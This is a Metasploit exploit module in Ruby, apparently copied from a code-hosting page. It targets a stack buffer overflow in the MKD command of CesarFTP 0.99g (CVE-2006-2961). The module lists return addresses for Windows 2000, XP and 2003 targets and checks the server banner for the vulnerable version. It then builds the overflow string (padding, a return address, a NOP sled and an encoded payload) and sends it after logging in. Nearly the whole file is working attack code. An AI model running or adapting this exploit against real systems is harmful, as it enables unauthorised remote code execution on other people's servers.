88 lines
2.5 KiB
Ruby
88 lines
2.5 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Ftp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.
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You must have valid credentials to trigger this vulnerability. Also, you
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only get one chance, so choose your target carefully.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2006-2961'],
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[ 'OSVDB', '26364'],
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[ 'BID', '18586'],
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[ 'URL', 'http://secunia.com/advisories/20574/' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 250,
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'BadChars' => "\x00\x20\x0a\x0d",
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'StackAdjustment' => -3500,
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'Compat' =>
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{
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'SymbolLookup' => 'ws2ord',
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}
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
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[ 'Windows 2000 Pro SP4 French', { 'Ret' => 0x775F29D0 } ],
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[ 'Windows XP SP2/SP3 English', { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll
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#[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
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#[ 'Windows XP SP3 English', { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
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[ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ],
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],
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'DisclosureDate' => 'Jun 12 2006',
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'DefaultTarget' => 0))
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end
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def check
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connect
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disconnect
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if (banner =~ /CesarFTP 0\.99g/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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c = connect_login
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return if not c
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sploit = "\n" * 671 + rand_text_english(3, payload_badchars)
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sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded
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print_status("Trying target #{target.name}...")
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send_cmd( ['MKD', sploit] , false)
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handler
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disconnect
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end
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end
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